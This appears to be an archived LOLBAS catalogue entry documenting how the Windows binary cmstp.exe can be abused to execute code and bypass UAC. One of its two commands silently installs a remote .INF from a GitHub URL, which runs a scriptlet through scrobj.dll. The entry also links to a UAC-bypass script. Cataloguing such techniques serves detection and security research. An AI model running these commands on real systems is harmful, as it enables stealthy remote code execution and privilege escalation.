LOLBAS/Archive-Old-Version/OSBinaries/Cmstp.exe.md

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## Cmstp.exe
* Functions: Execute, UACBypass
```
cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
```
* Resources:
* https://twitter.com/NickTyrer/status/958450014111633408
* https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
* https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
* https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
* https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1 (UAC Bypass)
* https://github.com/hfiref0x/UACME
* Full path:
* C:\Windows\system32\cmstp.exe
* C:\Windows\sysWOW64\cmstp.exe
* Notes: Thanks to Oddvar Moe - @oddvarmoe, Nick Tyrer - @NickTyrer